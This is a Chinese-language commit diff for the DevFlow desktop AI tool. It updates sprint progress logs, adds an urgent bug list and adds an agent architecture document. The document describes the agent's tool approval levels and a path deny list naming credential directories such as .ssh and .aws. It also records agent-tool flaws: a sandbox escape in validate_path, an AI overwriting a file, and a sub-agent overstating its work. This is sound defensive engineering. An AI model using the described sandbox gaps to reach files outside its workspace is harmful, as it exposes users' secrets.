重构: 文档汇总+进度看板+孤儿任务清理脚本+gitignore 噪音排除
- docs/02 架构设计: 新增 aichat审查/异步审批构想/流式渲染调研/generating状态机/密钥迁移健壮性/工作流脚本执行边界/条件表达式引擎/F-07 trait下沉/Agent架构说明/任务推进构想/功能创意池;更新功能决策记录+归档/对抗论证/文档记录规范/经验记录
- docs/03 模块文档: 新增 AI对话引擎/DAG引擎详解;更新 df-knowledge/df-nodes/df-storage/df-workflow/df-ai
- docs/05 代码审查: 新增 全栈审查/全局review/架构审查/近期改动审查/工作区多角度走查/自研memo流式渲染审查
- docs/09 问题排查: 新增 aichat-apikey-401
- docs/INDEX+README 索引同步;docs/todo 待办看板(2026-06-15 汇总)
- PROGRESS.md Sprint 22-25;URGENT.md 加急清单快照(5 项 P0 已全修)
- scripts/cleanup_orphan_tasks.{py,sh} 孤儿任务清理工具
- .gitignore 补 *.broken.bak + tmp/ 噪音排除
This commit is contained in:
4
.gitignore
vendored
4
.gitignore
vendored
@@ -47,3 +47,7 @@ coverage/
|
|||||||
.env
|
.env
|
||||||
.env.*
|
.env.*
|
||||||
!.env.example
|
!.env.example
|
||||||
|
|
||||||
|
# 损坏备份(FR-S7 write_file 事故残留)+临时文件
|
||||||
|
*.broken.bak
|
||||||
|
tmp/
|
||||||
|
|||||||
72
PROGRESS.md
72
PROGRESS.md
@@ -1,6 +1,6 @@
|
|||||||
# DevFlow — 项目进展与工作交接
|
# DevFlow — 项目进展与工作交接
|
||||||
|
|
||||||
> 创建: 2026-06-10 | 最后更新: 2026-06-14 | 当前阶段: list_directory 防爆 + localStorage→SQLite 统一持久化 + token/发送 bug 修复(Sprint 19) → 项目管理模块代码审查 + 全局核对(Sprint 20,未改代码)
|
> 创建: 2026-06-10 | 最后更新: 2026-06-15 | 当前阶段: 全量待办编排完成(Sprint 23) → 首批 A+B 清债(ARC-02 死链已删 / AR-1 退役 / ARC-03 降级重评);api_key 明文存储(FR-S1)降级延后
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -87,7 +87,8 @@
|
|||||||
| 6 | **条件表达式引擎** — 仅支持 true/false 字面量 | 条件分支不可用 | P2 | ⬜ 待办 |
|
| 6 | **条件表达式引擎** — 仅支持 true/false 字面量 | 条件分支不可用 | P2 | ⬜ 待办 |
|
||||||
| 7 | **i18n 未注册** — 翻译文件存在但未挂载 | 多语言不生效 | P2 | ✅ Sprint 7 |
|
| 7 | **i18n 未注册** — 翻译文件存在但未挂载 | 多语言不生效 | P2 | ✅ Sprint 7 |
|
||||||
| 8 | **未 git commit** — 代码全 untracked | 无版本基线 | P0 | ✅ Sprint 2 |
|
| 8 | **未 git commit** — 代码全 untracked | 无版本基线 | P0 | ✅ Sprint 2 |
|
||||||
| 9 | **AI 删项目绕过软删** — tool_registry:263 `repo.delete` 物理删,IPC 走 `soft_delete` 进回收站;AI 层缺 restore/purge/list_trash 工具(仅 project 表有回收站设计,故最该修) | AI 对话删项目 = 数据丢失不可恢复,与 UI 删语义割裂 | P1 | ⬜ Sprint 20 待修(批1) |
|
| 9 | **AI 删项目绕过软删** — tool_registry:263 `repo.delete` 物理删,IPC 走 `soft_delete` 进回收站;AI 层缺 restore/purge/list_trash 工具(仅 project 表有回收站设计,故最该修) | AI 对话删项目 = 数据丢失不可恢复,与 UI 删语义割裂 | P1 | ✅ Sprint 21 已修(tool_registry 补 restore_project/purge_project/list_trash,delete_project 改 soft_delete) |
|
||||||
|
| 10 | **api_key 明文存储** — DB 落盘仍明文(migrations.rs:446 api_key TEXT NOT NULL) | 本地库被读/备份外流则泄露 | P0 | 🟡 部分修(FR-S1:IPC mask+编辑不回填✅ commit 49ac060;DB 明文落盘❌ 待迁移 keyring 单列) |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -707,6 +708,73 @@
|
|||||||
|
|
||||||
**遗留 / 下一步**: Wave2 候选 F-07(df-ai-core trait 下沉,解锁 F-03,需先定 trait 边界);T-12 df-ideas 其余嫌疑项待复查。
|
**遗留 / 下一步**: Wave2 候选 F-07(df-ai-core trait 下沉,解锁 F-03,需先定 trait 边界);T-12 df-ideas 其余嫌疑项待复查。
|
||||||
|
|
||||||
|
### [Sprint 23] 2026-06-15 — 全量待办编排 + 首批 A+B 清债热身
|
||||||
|
|
||||||
|
**工作内容**: 全量 `todo.md`(~40 未完成项)汇总按可执行性分 8 组(A 卫生 / B 零风险减法 / C 需用户输入 / D 功能 / E 架构 / F 全局 review P2 / G 测试 / H 长期池),加「编排推进总览」章节供后续会话全局视图。首批推进 A+B 组。
|
||||||
|
|
||||||
|
**ARC-08 转自研块级 memo**(前会话遗留补记,待 commit): 流式 Markdown 渲染——方案 D(markstream-vue)试装后样式还原成本高且脆(代码块 chrome / 暗色 `--ms-*` 变量 / prose 作用域 4 处对接随库漂移),转自研块级 memo(方案 B 增强版):保留 marked+DOMPurify+.ai-md 原样式零对接 + splitBlocks 块级 memo O(末块) + rAF 节流 + 末块不缓存处理未闭合 token。退役 AR-1 流式纯文本短路。详见 [aichat流式Markdown渲染调研-2026-06-15.md](docs/02-架构设计/aichat流式Markdown渲染调研-2026-06-15.md) §5。
|
||||||
|
|
||||||
|
**A todo 卫生**:
|
||||||
|
- AR-1 标退役(被 ARC-08 取代)
|
||||||
|
- AR-8 重评:前端 rAF 已被 ARC-08 覆盖,剩后端 50ms 合批 + 滚动,降优先级
|
||||||
|
- ARC-03 降级重评:df-execute **非空壳**(shell.rs `execute()` 完整 + 被 `run_command` 复用),原「空壳合并」前提失效,转架构维护决策非清债
|
||||||
|
|
||||||
|
**B 清死链**(ARC-260615-02): 删 App.vue secondaryNav `/decisions` 死链项(router 无此路由,决策治理 = F-260614-08 长期项入口提前占位)+ 删 `nav.decisions` i18n key(zh/en)。`dashboard.recentDecisions`(Dashboard.vue)不同命名空间保留。
|
||||||
|
|
||||||
|
**代码变更**: `src/App.vue` / `src/i18n/{zh-CN,en}/nav.ts` / `docs/todo.md`(编排总览 + AR-1/AR-8/ARC-02/ARC-03 状态回写)。
|
||||||
|
|
||||||
|
**验证**: vue-tsc EXIT=0。
|
||||||
|
|
||||||
|
**B-03b-R8 human 端到端集成测试**(待 commit): human_node.rs 加 2 端到端测(`end_to_end_human_approval_completes_workflow` / `end_to_end_human_approval_cancelled`),覆盖 executor 驱动 a(SleepNode)→b(HumanNode) 两层 DAG 的 Request 真发出 + outputs 收集 + 双节点 Completed,以及外部 set_cancelled → human cancel_tick → executor 跳过 set_failed + 状态保持 Cancelled。封死 R6/R7 回归土壤。10 测全过(8 现有单测 + 2 新端到端)。
|
||||||
|
|
||||||
|
**遗留 / 下一步**: 下批方向三选一(D 功能增强 F-15-01~04 / E 架构重投入 F-14-01·07 / G 测试 dev 验证 ARC-08 + T-14-01·02);C 组阻塞项(S-260615-01 curl 测 / S-260614-01 多开澄清)等用户输入。
|
||||||
|
|
||||||
|
### [Sprint 24] 2026-06-15 — P0 generating 状态机加固 + 独立项批量
|
||||||
|
|
||||||
|
**工作内容**: 多代理编排推进——P0 generating 卡 true 根治组合(B-09/10/11)串行 + 5 独立项 workflow 并行 + 3 项 read-only 勘察下一波。主代理全程核查(失控防护)。
|
||||||
|
|
||||||
|
**P0 三项**(generating 卡 true 根治,agentic.rs + commands.rs):
|
||||||
|
- B-09: GeneratingGuard RAII(new/reset().await 幂等/Drop spawn 兜底)+ run_agentic_loop 入口实例化 + 5 处手动复位替换 + try_continue:318 保留手动(should_continue=false 须保 generating=true 待审批)
|
||||||
|
- B-10: ai_conversation_create 加 app:AppHandle(Tauri 自动注入)+ generating=true 软复位(记 old_conv→复位→清 pending→stop_flag→释锁→emit 零 token AiCompleted→relock 续建)+ 硬拦移除
|
||||||
|
- B-11: 两处 conv_id 一致性校验(循环顶部 + push 块内,防软复位后旧 loop 污染新对话)
|
||||||
|
|
||||||
|
**独立 7 项**(B-19 根因指针随 09~18 销账):
|
||||||
|
- B-12: SessionState enum 视图(Idle/Streaming/AwaitingApproval)+ session_state() 读侧收敛(mod.rs,三调用点注释待后续替换)
|
||||||
|
- B-18: pending_approvals 单例设计文档注释(mod.rs)
|
||||||
|
- R-PD-4: keyring 迁移失败阈值告警(MIGRATION_FAIL_THRESHOLD=3 + sidecar 计数 + 达阈值升级 warn,secret.rs,不改兼容时序)
|
||||||
|
- R-PD-5: approve IPC 加 decision∈options 校验(⚠️半完成:前端 stores/project.ts:252 未传 options,校验形同虚设,待前端补传触发)
|
||||||
|
- R-PD-13: run_workflow Lagged 结构化 warn + 风险注释(workflow.rs)
|
||||||
|
- B-20: handleSend catch 加 reactive toast(AiChat.vue 复用 Settings 模式,文案待 i18n)
|
||||||
|
- B-21: sendMessage catch 一并回滚 user message(useAiSend.ts)
|
||||||
|
|
||||||
|
**勘察下一波**(read-only workflow wxflofhf2): F-260615-02 TaskDetail(已完成核查通过:get_task_by_id IPC + /tasks/:id 路由 + TaskDetail.vue 11 字段 + 列表跳转,cargo check/vue-tsc 0 err)/ F-260615-04 ToolCard折叠(plan 11 步复杂+改核心 ai 文件+细节有误,拆小或留待)/ AR-11 数据联动(勘察 implPlan 含伪代码错误 std::env::var/.match,暂缓待重设计 emit 点)。
|
||||||
|
|
||||||
|
**代码变更**: agentic.rs / commands.rs / mod.rs / secret.rs / workflow.rs / AiChat.vue / useAiSend.ts。
|
||||||
|
|
||||||
|
**验证**: cargo check 0 error / vue-tsc 0 error / df-nodes 17 test pass(含 2 human 端到端测,P0 不破坏)。主代理独立核查(非 agent 自报):git diff --stat 文件边界 + 编译复核 + R-PD-4 落地核查(agent 报告夸大称改 75 行实际在更早基线,功能存在即销账)。
|
||||||
|
|
||||||
|
**失控防护**: 每 agent prompt 锁死文件 + 禁碰决策记录 + 禁自主扩展 + 返回 schema。R-PD-4 agent 把已有代码当自己的(边界检查不准,非造假,同类 WF-G AR-7)。
|
||||||
|
|
||||||
|
**遗留 / 下一步**:
|
||||||
|
- R-PD-5 半完成:前端补传 options 触发新校验
|
||||||
|
- B-13~17 待续(stop 兜底/Notify 即时打断/heartbeat 提外/MAX_AGENT_ITERATIONS 配置化/key_len 复用)
|
||||||
|
- F-260615-02 TaskDetail 实施中(后台 agent)
|
||||||
|
- AR-11 暂缓(等本批提交后重设计 emit 点,audit.rs app_handle 可达性待核查)/ F-260615-04 拆小或留待
|
||||||
|
|
||||||
|
### [Sprint 25] 2026-06-15 — P0 收尾 + 下一波编排
|
||||||
|
|
||||||
|
**B-15/16/17 P0 收尾**(零行为变优化):
|
||||||
|
- B-15: stream_recv.rs heartbeat interval 提到 loop 外(省每轮重建,节拍不变)
|
||||||
|
- B-16: agentic.rs MAX_AGENT_ITERATIONS pub(crate)→pub const + 配置接入点注释(无现成配置槽,未引入 AppState 字段)
|
||||||
|
- B-17: agentic.rs key_len 复用 resolve_provider_secret(去重复 keyring resolve,build_provider 内联因 secret.rs 锁边界,DRY 隐患注释标注等价性)
|
||||||
|
- 核查:cargo check 0 err / df-nodes 17 test pass
|
||||||
|
|
||||||
|
**下一波编排 workflow wcvigw3z4**(3 实施 + 4 勘察,循环链路):
|
||||||
|
- 实施(文件隔离):B-13 stop 兜底(commands.rs)/ R-PD-5 前端补 options 闭环(stores/project.ts)/ CR-05+07 块级 memo 低风险子项 parseBlock DRY + escapeHtml 抽(AiChat.vue,禁碰 splitBlocks/loadMarkdown 流式核心)
|
||||||
|
- 勘察 read-only(为下一波确定):B-260615-22 状态同步两方案对比 / B-14 stop_flag→Notify 即时打断跨4文件设计 / F-260615-01 HumanNode 多选审批契约变更影响 / ARC-06 composables/ai 循环依赖拆点
|
||||||
|
|
||||||
|
**遗留 / 下一步**: 等勘察结果派下一波实施;AR-11 emit 点已查明(audit.rs process_tool_calls 有 app_handle)待本批提交后派;F-260615-03 breaking change / F-260615-04 需定交互 待用户确认;改动堆积(git diff 100+ 文件)建议择机提交收口。
|
||||||
|
|
||||||
<!--
|
<!--
|
||||||
|
|
||||||
### [Sprint N] YYYY-MM-DD — 简述
|
### [Sprint N] YYYY-MM-DD — 简述
|
||||||
|
|||||||
83
URGENT.md
Normal file
83
URGENT.md
Normal file
@@ -0,0 +1,83 @@
|
|||||||
|
# 🔴 加急待办清单
|
||||||
|
|
||||||
|
> 来源:DevFlow 任务系统核对 + docs/todo.md,2026-06-14 汇总
|
||||||
|
> 说明:仅收录 P0(用户可感硬伤 / 数据安全 / 功能不可用)+ 关键 P1 项
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P0 — 必须优先修复
|
||||||
|
|
||||||
|
### 1. B-260614-AC3 历史中毒无自愈(对话永久卡死)
|
||||||
|
- **现象**:畸形 tool_use/tool_result 一旦入历史,用户重发 → `build_for_request` 带毒 → 服务端 500 → 永久死循环,用户「再也对话不了」
|
||||||
|
- **根因**:`stream_recv.rs` 收 500 时只 `emit AiError + return None`,不清理毒历史;`agentic.rs` 直接 `return`,`ContextManager` 中毒消息原封不动
|
||||||
|
- **修法**:`stream_llm` 收 500/格式错时,检测 `ContextManager` 最后一轮未闭合 tool 配对(assistant 有 tool_call 但无对应 tool_result),剔除该对;或提供「修复当前对话」IPC 操作
|
||||||
|
- **涉及文件**:`src-tauri/src/commands/ai/{stream_recv.rs, agentic.rs}`、`crates/df-ai/src/context.rs`
|
||||||
|
|
||||||
|
### 2. FR-S7 write_file 覆盖已有非空文件无确认/备份
|
||||||
|
- **现象**:2026-06-14 实测事故——AI 误把 write_file 当 edit 用,只传头部 3 行把 PROGRESS.md 762 行/72KB 覆盖成 248 字节
|
||||||
|
- **根因**:`tool_registry.rs` write_file handler 无目标文件存在性检测,直接覆盖
|
||||||
|
- **修法**:覆盖非空文件前自动备份 `.bak` 或检测目标存在强制走 edit_file;写入后返回新旧大小对比,差异巨大时 warn
|
||||||
|
- **涉及文件**:`src-tauri/src/commands/ai/tool_registry.rs`
|
||||||
|
|
||||||
|
### 3. FR-S8 路径 sandbox 系统性逃逸
|
||||||
|
- **现象**:`validate_path` 三处缺陷可被绕过,AI 工具能读写 workspace 外文件
|
||||||
|
- **根因**:① 子串 `..` 检测对绝对路径无效 ② `canonicalize` 仅覆盖已存在路径(write_file 新建漏) ③ Windows `starts_with` 大小写敏感
|
||||||
|
- **修法**:统一 canonicalize(不存在取最长存在前缀)+ 大小写不敏感 prefix 比较 + parent 校验 + symlink 不跟随
|
||||||
|
- **涉及文件**:`src-tauri/src/commands/ai/tool_registry.rs:19-21,53-69`
|
||||||
|
|
||||||
|
### 4. B-03b-R8 缺 human 节点端到端集成测试
|
||||||
|
- **现象**:前端无 human DAG 入口,demoDag 仅 script,单测绿但不覆盖 human→弹窗→审批→返回链路
|
||||||
|
- **影响**:审批闭环的 R6/R7 类 bug 存活土壤,无测试兜底
|
||||||
|
- **修法**:前端加 human DAG 入口(测试用 DAG),端到端验证 审批弹窗→通过/拒绝→工作流继续/取消
|
||||||
|
- **涉及文件**:`src/views/ProjectDetail.vue`、`crates/df-nodes/src/human_node.rs`
|
||||||
|
|
||||||
|
### 5. FR-S1 api_key 明文落盘(剩余项)
|
||||||
|
- **现状**:IPC mask 已修(commit 49ac060),前端不持明文。**剩余**:DB `migrations.rs:446 api_key TEXT NOT NULL` 明文落盘
|
||||||
|
- **修法**:迁移 keyring 单列存储(`keyring` crate),DB 不存原始 key
|
||||||
|
- **涉及文件**:`crates/df-storage/src/migrations.rs`、`src-tauri/src/commands/ai/commands.rs`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## P1 — 重要,尽快处理
|
||||||
|
|
||||||
|
### 6. B-260614-AC1 anthropic_compat tool_use_id None 发 null
|
||||||
|
- **现象**:`tool_call_id` 为 None 时序列化为 `"tool_use_id": null`,触发服务端 500
|
||||||
|
- **修法**:None 时 skip 该 tool_result 块或填占位 id + warn
|
||||||
|
- **涉及文件**:`crates/df-ai/src/anthropic_compat.rs:297`
|
||||||
|
|
||||||
|
### 7. AR-6 Low 工具失败语义冲突
|
||||||
|
- **现象**:工具执行失败时 emit AiError 置 `streaming=false` 但 agentic loop 续跑,残留文本 flush 又"完成",状态紊乱
|
||||||
|
- **涉及文件**:`src-tauri/src/commands/ai/{audit.rs, agentic.rs:195}`
|
||||||
|
|
||||||
|
### 8. F-260614-01 模型能力系统 Phase 1
|
||||||
|
- **说明**:设计已完成。ModelCapability 数据模型 + ModelRouter 重写 + 7 调用点接入 + Settings 模型池编辑 UI + AiChat 模型下拉
|
||||||
|
- **涉及文件**:`crates/df-ai/`、`src-tauri/src/commands/ai/`、`src/views/Settings.vue`、`src/components/AiChat.vue`
|
||||||
|
|
||||||
|
### 9. F-260614-07 df-ai-core trait 下沉拆 crate(架构前置)
|
||||||
|
- **说明**:解锁 F-03(灵感对抗评估接 LLM)。统一为全局 AI trait 下沉独立 crate,df-ideas/df-nodes 依赖 trait 而非 df-ai 具体 impl
|
||||||
|
- **设计文档**:`docs/02-架构设计/F-07-df-ai-core-trait下沉设计-2026-06-14.md`
|
||||||
|
|
||||||
|
### 10. T-260614-01 多项未 tauri dev 实测
|
||||||
|
- **说明**:Sprint 9-18 积累的未实测项——评分 IPC / promote_idea / token 落库 / 知识库 Tier 1 全栈 / LLM 并发 Semaphore / 知识生命线
|
||||||
|
- **风险**:编译通过 ≠ 运行正确,多轮未实测积压隐患
|
||||||
|
|
||||||
|
### 11. T-260614-02 切对话不中断路由运行时实测
|
||||||
|
- **说明**:Sprint 8 A 路线场景 2/3 部分场景未运行时验证
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 速查矩阵
|
||||||
|
|
||||||
|
| # | 编号 | 优先级 | 类型 | 一句话 |
|
||||||
|
|---|------|--------|------|--------|
|
||||||
|
| 1 | AC3 | P0 | Bug | 对话永久卡死,无自愈 |
|
||||||
|
| 2 | FR-S7 | P0 | 安全 | write_file 覆盖无备份 |
|
||||||
|
| 3 | FR-S8 | P0 | 安全 | 路径 sandbox 可逃逸 |
|
||||||
|
| 4 | B-03b-R8 | P0 | 测试 | 审批闭环无端到端测试 |
|
||||||
|
| 5 | FR-S1 | P0 | 安全 | api_key DB 明文落盘 |
|
||||||
|
| 6 | AC1 | P1 | Bug | tool_use_id null 触发 500 |
|
||||||
|
| 7 | AR-6 | P1 | Bug | 工具失败状态紊乱 |
|
||||||
|
| 8 | F-01 | P1 | 功能 | 模型能力系统 Phase 1 |
|
||||||
|
| 9 | F-07 | P1 | 架构 | df-ai-core trait 下沉 |
|
||||||
|
| 10 | T-01 | P1 | 验收 | 多项未 tauri dev 实测 |
|
||||||
|
| 11 | T-02 | P1 | 验收 | 切对话不中断实测 |
|
||||||
161
docs/02-架构设计/Agent架构说明-2026-06-14.md
Normal file
161
docs/02-架构设计/Agent架构说明-2026-06-14.md
Normal file
@@ -0,0 +1,161 @@
|
|||||||
|
# Agent 架构与能力边界(系统现状记录) — 2026-06-14
|
||||||
|
|
||||||
|
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
|
||||||
|
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界)
|
||||||
|
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Agent 引擎:单链 ReAct
|
||||||
|
|
||||||
|
### 核心:`run_agentic_loop`(`src-tauri/src/commands/ai/agentic.rs`)
|
||||||
|
|
||||||
|
完整的 ReAct(Reason+Act)循环:**LLM 流式接收 → 工具调用 → 执行工具 → 结果回传 LLM → 循环**。
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─ for iteration in 0..MAX_AGENT_ITERATIONS(10) ─────────────┐
|
||||||
|
│ 1. 用户停止? → 收尾退出 │
|
||||||
|
│ 2. 构建请求消息(超预算裁剪旧消息,保护工具三元组+最近6条) │
|
||||||
|
│ 3. stream_llm(流式,含 idle timeout/断连检测/停止信号) │
|
||||||
|
│ 4. 有 tool_calls? │
|
||||||
|
│ ├ 无 → 最终文本,break(正常结束) │
|
||||||
|
│ └ 有 → process_tool_calls(Low 自动 / Medium+High 待审批)│
|
||||||
|
│ ├ 有 pending 审批 → 暂停循环(generating 保持 true)│
|
||||||
|
│ └ 全自动完成 → 继续下一轮 │
|
||||||
|
└─ 达 10 轮 → 正常结束 ────────────────────────────────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
| 退出条件 | 处理 |
|
||||||
|
|---|---|
|
||||||
|
| LLM 只返回文本(无 tool_calls) | 正常结束,emit AiCompleted |
|
||||||
|
| 有工具待审批 | 暂停循环,`generating` 保持 true,等 `ai_approve` → `try_continue_agent_loop` 恢复 |
|
||||||
|
| 达 MAX_AGENT_ITERATIONS(10) | 正常结束 |
|
||||||
|
| 用户请求停止 | 已生成文本入库后退出 |
|
||||||
|
|
||||||
|
**配套设施**:
|
||||||
|
- `TokenEstimator`:超预算裁剪历史(保护工具调用三元组 + 最近 6 条)
|
||||||
|
- `LlmConcurrency`:全局 + 单对话双层并发限流(仅覆盖 stream_llm,工具执行本地操作不限流)
|
||||||
|
- `AiAgentRound` 事件:每轮通知前端新建 assistant 消息
|
||||||
|
- 知识提炼(`maybe_spawn_extraction`)、标题生成(`ensure_conversation_title`)后台化
|
||||||
|
|
||||||
|
### 服务场景
|
||||||
|
|
||||||
|
当前**服务于交互式 AI 对话**(侧边栏 aichat 式),不是任务执行。会话级状态在 `AiSession`(`generating`/`messages`/`pending_approvals`/`stop_flag`)。
|
||||||
|
|
||||||
|
### 协调器:空壳
|
||||||
|
|
||||||
|
`crates/df-ai/src/coordinator.rs` 的 `AgentCoordinator` 是 **B 路线占位空壳**,注释明示:
|
||||||
|
|
||||||
|
> ⚠ B 路线占位:当前单链 ReAct 够用,多 Agent 协作待 B 路线立项。有意保留空壳,勿删。
|
||||||
|
|
||||||
|
`run()` 返回 `"TODO: Agent 协作结果"`。**多 Agent 协作、Agent 间消息传递、任务分配——全部未实现**。当前是单链 ReAct。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 工具系统
|
||||||
|
|
||||||
|
### 注册:编译期硬编码
|
||||||
|
|
||||||
|
`build_ai_tool_registry`(`src-tauri/src/commands/ai/tool_registry.rs:77`)启动时构建注册表。**所有工具 Rust 写死,无运行时动态注册**。
|
||||||
|
|
||||||
|
### 工具三要素同源
|
||||||
|
|
||||||
|
每个工具一次 `registry.register` 同时定义:`name + description + schema + RiskLevel + handler 闭包`。注释明示「handler 即唯一执行路径,schema+risk+实现同源,消除双轨」。
|
||||||
|
|
||||||
|
### 风险分级 + 审批
|
||||||
|
|
||||||
|
| RiskLevel | 执行 | 机制 |
|
||||||
|
|---|---|---|
|
||||||
|
| `Low` | 自动执行 | `process_tool_calls` 直接跑 |
|
||||||
|
| `Medium` / `High` | **待人工审批** | 进 `ai_pending_tool_calls`(持久化到 `ai_tool_executions` 表 status='pending'),启动可恢复;`ai_approve`/`ai_reject` 决定 |
|
||||||
|
|
||||||
|
审批机制现成——**这是「人工核对」可直接复用的基础设施**。
|
||||||
|
|
||||||
|
### 路径安全
|
||||||
|
|
||||||
|
- `validate_path`:禁 `..` 路径遍历、禁 `.ssh/.aws/.gnupg/AppData/ProgramData/Windows/System32` 等敏感目录
|
||||||
|
- `resolve_workspace_path`:双层校验(词法 starts_with + canonicalize 解析 symlink),防越界和符号链接逃逸,锚定 workspace_root
|
||||||
|
|
||||||
|
### 审计
|
||||||
|
|
||||||
|
`ai_tool_executions` 表(migration V9 建)记录每次工具调用,`audit_finalize` 落盘 executed/rejected + 结果。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 内置工具清单(固定工具集)
|
||||||
|
|
||||||
|
| 风险 | 工具 | 说明 |
|
||||||
|
|---|---|---|
|
||||||
|
| Low | `list_projects` / `list_tasks` / `list_ideas` | 列表查询(truncate 50 防 context 膨胀,排软删) |
|
||||||
|
| Low | `read_file` / `list_directory` | 文件读取(offset/limit 分页) |
|
||||||
|
| Medium | `create_project` / `create_task` | 创建(create_project 可选 path/stack 一步绑定) |
|
||||||
|
| Medium | `update_project` | 改字段(复用 CRUD 白名单校验) |
|
||||||
|
| Medium | `write_file` | 写文件(自动建父目录) |
|
||||||
|
| Medium | `bind_directory` | 项目绑定代码目录 + 探测技术栈 |
|
||||||
|
| — | knowledge 相关(search 等) | 对齐 MCP 语义 |
|
||||||
|
|
||||||
|
完整清单见 `tool_registry.rs`(约 12+ 个 register)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. 能力边界(查实的四个「无」)
|
||||||
|
|
||||||
|
| 能力 | 现状 | 证据 |
|
||||||
|
|---|---|---|
|
||||||
|
| **配置/调用外部工具** | ❌ 无 | 无 MCP 客户端(`knowledge.rs` 注释提「MCP 语义」只是概念对齐,非实现);无 HTTP 工具;无动态注册;工具全编译期硬编码 |
|
||||||
|
| **自造/迭代工具** | ❌ 无 | 工具定义(schema+risk+handler)是 Rust 代码,AI 运行时不能新增/修改;AI 能 `write_file` 写代码但不会变成可调用工具(要重编译) |
|
||||||
|
| **执行类工具**(run shell/script) | ❌ 无 | grep `exec/shell/run_command` 零命中;AI 能写代码**没有工具运行它**;agentic coding「写→跑→改」闭环做不到 |
|
||||||
|
| **agent ↔ workflow 打通** | ❌ 未打通 | `run_workflow` AI 工具是**空壳**(返回「请通过工作流页面运行」);ScriptNode 能跑 shell 但那是工作流节点不是 agent 工具,两套执行能力割裂 |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. 关键缺口
|
||||||
|
|
||||||
|
1. **执行能力**:AI 能写不能跑。要做真 agentic coding 必须补执行类工具(`run_command`/`run_script`,或把 ScriptNode 能力暴露给 agent)。
|
||||||
|
2. **外部工具接入**:无 MCP 客户端,无法消费外部 MCP server 工具,工具集封闭。
|
||||||
|
3. **工具自造闭环**:AI 不能为特定任务临时造工具、不能迭代改进工具。
|
||||||
|
4. **agent ↔ workflow 割裂**:两套执行能力(agent ReAct / workflow DAG)未打通,AI 不能在 agent loop 内触发工作流。
|
||||||
|
5. **多 Agent 协作**:coordinator 空壳,单链 ReAct,无 Agent 间消息/任务分配。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. 对任务推进 AI 执行层的影响
|
||||||
|
|
||||||
|
[任务推进构想-2026-06-14.md](任务推进构想-2026-06-14.md) 的 AI 执行层(start 闸门)依赖系统 Agent 能力。本文档查实的边界直接框定其可达范围:
|
||||||
|
|
||||||
|
| 设计点 | 受能力边界约束的真实情况 |
|
||||||
|
|---|---|
|
||||||
|
| **AI 执行任务** | 现状只能用固定工具集(主要 `write_file` 写代码 + CRUD),**不能运行/验证代码**。「AI 执行」≠「AI 写码并跑通」,当前只能前者的一半(写) |
|
||||||
|
| **AI 自审** | AiNode 现成(通用 LLM 调用),可配 review prompt 做 code review。但要审得准需 AI 能读 diff(`read_file` 可)+ 判断(LLM 可),可行 |
|
||||||
|
| **人工核对** | `ai_pending_tool_calls`(Medium+High 审批)现成,可直接复用为 merge 关卡 |
|
||||||
|
| **advance_task 默认 AI 触发** | agent loop 现成,AI 执行完成事件可触发推进 |
|
||||||
|
|
||||||
|
**结论**:AI 执行层要在当前 Agent 能力上落地,**真实可达**的是「AI 用固定工具干活(写文件/CRUD)+ AI 自审(LLM review)+ 人工审批(现成)」。要做到「AI 写码并运行验证」的真 agentic coding,**必须先补执行能力**(执行类工具 + agent/workflow 打通),否则 start 闸门的「AI 执行」实质只是「AI 写文件」。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 演进方向(待定,非承诺)
|
||||||
|
|
||||||
|
| 方向 | 内容 | 依赖 |
|
||||||
|
|---|---|---|
|
||||||
|
| **执行工具补全** | 暴露 `run_command`/`run_script` 为 agent 工具(沙箱化),或把 `run_workflow` 空壳做实让 agent 能触发工作流 | 安全沙箱、风险分级 |
|
||||||
|
| **MCP 外部工具** | 接 MCP 客户端,消费外部 server 工具,工具集从封闭走向开放 | MCP 协议实现、工具配置 UI |
|
||||||
|
| **工具自造闭环** | AI 写脚本 → 注册成工具 → agent 可调用 → 迭代改进 | 动态工具注册、工具持久化 |
|
||||||
|
| **多 Agent 协作**(B 路线) | coordinator 实化,Agent 间消息/任务分配 | 立项 |
|
||||||
|
|
||||||
|
这些是补齐「真正 AI 执行」的方向,是否纳入、何时纳入,取决于任务推进 AI 执行层的目标定位(保守=AI 写文件为主 / 激进=补执行能力做真 agentic coding)。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 附:关键文件
|
||||||
|
|
||||||
|
| 文件 | 职责 |
|
||||||
|
|---|---|
|
||||||
|
| `src-tauri/src/commands/ai/agentic.rs` | ReAct 循环(run_agentic_loop / try_continue_agent_loop) |
|
||||||
|
| `src-tauri/src/commands/ai/tool_registry.rs` | 工具注册(build_ai_tool_registry)+ 路径校验 |
|
||||||
|
| `src-tauri/src/commands/ai/audit.rs` | 工具执行审计(process_tool_calls / audit_finalize) |
|
||||||
|
| `src-tauri/src/commands/ai/commands.rs` | 审批 IPC(ai_approve/ai_reject)+ pending 恢复 |
|
||||||
|
| `crates/df-ai/src/coordinator.rs` | 协调器空壳(B 路线占位) |
|
||||||
|
| `crates/df-ai/src/context.rs` | TokenEstimator(上下文裁剪) |
|
||||||
|
| `crates/df-ai/src/ai_tools.rs` | AiToolRegistry + RiskLevel + schema |
|
||||||
|
| `crates/df-nodes/src/ai_node.rs` | AiNode(工作流用的单次 LLM 调用节点,非 agent loop) |
|
||||||
294
docs/02-架构设计/F-07-df-ai-core-trait下沉设计-2026-06-14.md
Normal file
294
docs/02-架构设计/F-07-df-ai-core-trait下沉设计-2026-06-14.md
Normal file
